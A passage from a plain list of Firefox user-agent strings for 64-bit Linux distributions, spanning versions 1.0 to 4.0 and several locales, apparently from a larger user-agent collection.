Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20061201 Firefox/2.0.0.3 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070324 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.3) Gecko/20070415 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20061201 Firefox/2.0.0.4 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070529 SUSE/2.0.0.4-6.1 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070604 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.4) Gecko/20070627 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.5) Gecko/20061201 Firefox/2.0.0.5 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.6) Gecko/20061201 Firefox/2.0.0.6 (Ubuntu-feisty) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.7) Gecko/20070918 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071015 SUSE/2.0.0.8-1.1 Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.9) Gecko/20071025 Firefox/2.0.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20060601 Firefox/2.0 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86-64; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061023 SUSE/2.0-37 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061122 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061128 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1) Gecko/20061202 Firefox/2.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051201 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8) Gecko/20051212 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009060309 Linux Mint/7 (Gloria) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061118 Fedora/3.0.11-1.fc9 Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009061417 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.11) Gecko/2009070612 Gentoo Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.12) Gecko/2009070818 Ubuntu/8.10 (intrepid) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.13) Gecko/2009080315 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.16) Gecko/2009121609 Firefox/3.0.6 (Windows NT 5.1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.17) Gecko/2010011010 Mandriva/1.9.0.17-0.1mdv2009.1 (2009.1) Firefox/3.0.17 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072610 Firefox/2.0.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008072820 Kubuntu/8.04 (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.1) Gecko/2008110312 Gentoo Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092313 Ubuntu/8.04 (hardy) Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092318 Fedora/3.0.2-1.fc9 Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.2) Gecko/2008092418 CentOS/3.0.2-3.el5.centos Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 (Linux Mint) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.4) Gecko/2008120512 Gentoo Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121711 Ubuntu/9.04 (jaunty) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121806 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008121911 CentOS/3.0.5-1.el5.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122010 Firefox/2.0.0.3 (Debian-3.0.5-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122014 CentOS/3.0.5-1.el4.centos Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122120 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2008122406 Gentoo Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009012700 SUSE/3.0.6-1.4 Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020407 Firefox/3.0.4 (Debian-3.0.6-1) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2009020519 Ubuntu/9.04 (jaunty) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.6) Gecko/2010012717 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030516 Ubuntu/9.04 (jaunty) Firefox/3.0.7 GTB5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030719 Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009030810 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva/1.9.0.7-0.1mdv2009.0 (2009.0) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031120 Mandriva Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009031802 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032319 Gentoo Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.7) Gecko/2009032606 Red Hat/3.0.7-1.el5 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.1 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.04 (hardy) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032713 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009032908 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.8) Gecko/2009040312 Gentoo Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0) Gecko/2008061600 SUSE/3.0-1.2 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090714 SUSE/3.5.1-1.1 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090716 Linux Mint/7 (Gloria) Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Firefox/3.5.2 Slackware -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.2) Gecko/20090803 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090914 Slackware/13.0_stable Firefox/3.5.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091114 Gentoo Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.6) Gecko/20100117 Gentoo Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8) Gecko/20100318 Gentoo Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.8pre) Gecko/20091227 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090312 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 Fedora/3.1-0.11.beta3.fc11 Firefox/3.1b3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1b3) Gecko/20090327 GNU/Linux/x86_64 Firefox/3.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1) Gecko/20090630 Firefox/3.5 GTB6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.12) Gecko/20101102 Gentoo Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101206 Red Hat/3.6-3.el4 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101219 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101223 Gentoo Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.20) Gecko/20110804 Red Hat/3.6-2.el5 Firefox/3.6.20 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100403 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.3) Gecko/20100524 Firefox/3.5.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.4) Gecko/20100614 Ubuntu/10.04 (lucid) Firefox/3.6.4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 GTB7.1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.6) Gecko/20100628 Ubuntu/10.04 (lucid) Firefox/3.6.6 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100723 Fedora/3.6.7-1.fc13 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100723 SUSE/3.6.8-0.1.1 Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090405 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2a1pre) Gecko/20090428 Firefox/3.6a1pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100130 Gentoo Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100222 Ubuntu/10.04 (lucid) Firefox/3.6 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2) Gecko/20100305 Gentoo Firefox/3.5.7 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9a1) Gecko/20060112 Firefox/1.6a1 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008011321 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b3pre) Gecko/2008020509 Firefox/3.0b3pre -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008031318 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b4) Gecko/2008040813 Firefox/3.0b4 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008040514 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9b5) Gecko/2008041816 Fedora/3.0-0.55.beta5.fc9 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008061317 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062315 (Gentoo) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9) Gecko/2008062908 Firefox/3.0 (Debian-3.0~rc2-2) -Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9pre) Gecko/2008042312 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.3) Gecko/2008092515 Ubuntu/8.10 (intrepid) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9.0.4) Gecko/2008110510 Red Hat/3.0.4-1.el5_2 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061015 Ubuntu/8.04 (hardy) Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-AR; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; es-CL; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009070811 Ubuntu/9.04 (jaunty) Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.12) Gecko/2009072711 CentOS/3.0.12-1.el5.centos Firefox/3.0.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.1) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.4) Gecko/2008111217 Fedora/3.0.4-1.fc10 Firefox/3.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.7) Gecko/2009022800 SUSE/3.0.7-1.4 Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc11 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101026 SUSE/3.6.12-0.7.1 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-ES; rv:1.9.2.12) Gecko/20101027 Fedora/3.6.12-1.fc13 Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; es-MX; rv:1.9.2.12) Gecko/20101027 Ubuntu/10.04 (lucid) Firefox/3.6.12 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.14) Gecko/2009090217 Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fi-FI; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.7.12) Gecko/20050922 Fedora/1.0.7-1.1.fc4 Firefox/1.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.16) Gecko/20080715 Fedora/2.0.0.16-1.fc8 Firefox/2.0.0.16 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.1) Gecko/20060601 Firefox/2.0.0.1 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8.1.3) Gecko/20070322 Firefox/2.0.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.8) Gecko/20051231 Firefox/1.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.04 (jaunty) Firefox/3.0.11 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.19) Gecko/2010051407 CentOS/3.0.19-1.el5.centos Firefox/3.0.19 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008070400 SUSE/3.0.1-1.1 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.7) Gecko/2009030423 Ubuntu/8.10 (intrepid) Firefox/3.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.0.9) Gecko/2009042114 Ubuntu/9.04 (jaunty) Firefox/3.0.9 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.3pre -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.5) Gecko/20091109 Ubuntu/9.10 (karmic) Firefox/3.5.5 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.6) Gecko/20091215 Ubuntu/9.10 (karmic) Firefox/3.5.6 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.1.9) Gecko/20100317 SUSE/3.5.9-0.1.1 Firefox/3.5.9 GTB7.0 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9.2.3) Gecko/20100403 Fedora/3.6.3-4.fc13 Firefox/3.6.3 -Mozilla/5.0 (X11; U; Linux x86_64; fr; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64) Gecko/2008072820 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; hu; rv:1.8.1.14) Gecko/20080416 Fedora/2.0.0.14-1.fc7 Firefox/2.0.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.8.1.2) Gecko/20060601 Firefox/2.0.0.2 (Ubuntu-edgy) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.14) Gecko/2009090216 Ubuntu/8.04 (hardy) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092510 Ubuntu/8.04 (hardy) Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.3) Gecko/2008092813 Gentoo Firefox/3.0.3 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.6) Gecko/2009020911 Ubuntu/8.10 (intrepid) Firefox/3.0.6 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009032712 Ubuntu/8.10 (intrepid) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.0.8) Gecko/2009033100 Ubuntu/9.04 (jaunty) Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Firefox/3.5.15 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100330 Fedora/3.5.9-2.fc12 Firefox/3.5.9 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.1.9) Gecko/20100402 Ubuntu/9.10 (karmic) Firefox/3.5.9 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.20) Gecko/20110805 Ubuntu/10.04 (lucid) Firefox/3.6.20 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9.2.24) Gecko/20111101 SUSE/3.6.24-0.2.1 Firefox/3.6.24 -Mozilla/5.0 (X11; U; Linux x86_64; it; rv:1.9) Gecko/2008061017 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; ja-JP; rv:1.9.2.16) Gecko/20110323 Ubuntu/10.10 (maverick) Firefox/3.6.16 -Mozilla/5.0 (X11; U; Linux x86_64; ja; rv:1.9.1.4) Gecko/20091016 SUSE/3.5.4-1.1.2 Firefox/3.5.4 -Mozilla/5.0 (X11; U; Linux x86_64; ko-KR; rv:1.9.0.1) Gecko/2008071717 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.0.8) Gecko/2009032600 SUSE/3.0.8-1.2 Firefox/3.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; nb-NO; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; nl-NL; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.13) Gecko/20080325 Ubuntu/7.10 (gutsy) Firefox/2.0.0.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8.1.2pre) Gecko/20061023 SUSE/2.0.0.1-0.1 Firefox/2.0.0.2pre -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.8) Gecko/20051128 SUSE/1.5-0.1 Firefox/1.5.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu (hardy) Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.1) Gecko/2008071222 Ubuntu/hardy Firefox/3.0.1 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.2) Gecko/2008092213 Ubuntu/8.04 (hardy) Firefox/3.0.2 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.0.5) Gecko/2008121623 Ubuntu/8.10 (intrepid) Firefox/3.0.5 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9.2.13) Gecko/20101206 Ubuntu/10.04 (lucid) Firefox/3.6.13 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:1.9) Gecko/2008060309 Firefox/3.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl-PL; rv:2.0) Gecko/20110307 Firefox/4.0 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.4) Gecko/20070611 Firefox/2.0.0.4 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.8.1.7) Gecko/20071009 Firefox/2.0.0.7 -Mozilla/5.0 (X11; U; Linux x86_64; pl; rv:1.9.1.2) Gecko/20090911 Slackware Firefox/3.5.2 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10 -Mozilla/5.0 (X11; U; Linux x86_64; pt-BR; rv:1.9b5) Gecko/2008041515 Firefox/3.0b5 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.8.1.8) Gecko/20071022 Ubuntu/7.10 (gutsy) Firefox/2.0.0.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.0.14) Gecko/2009090217 Ubuntu/9.04 (jaunty) Firefox/3.0.14 (.NET CLR 3.5.30729) -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.1.8) Gecko/20100216 Fedora/3.5.8-1.fc12 Firefox/3.5.8 -Mozilla/5.0 (X11; U; Linux x86_64; ru; rv:1.9.2.11) Gecko/20101028 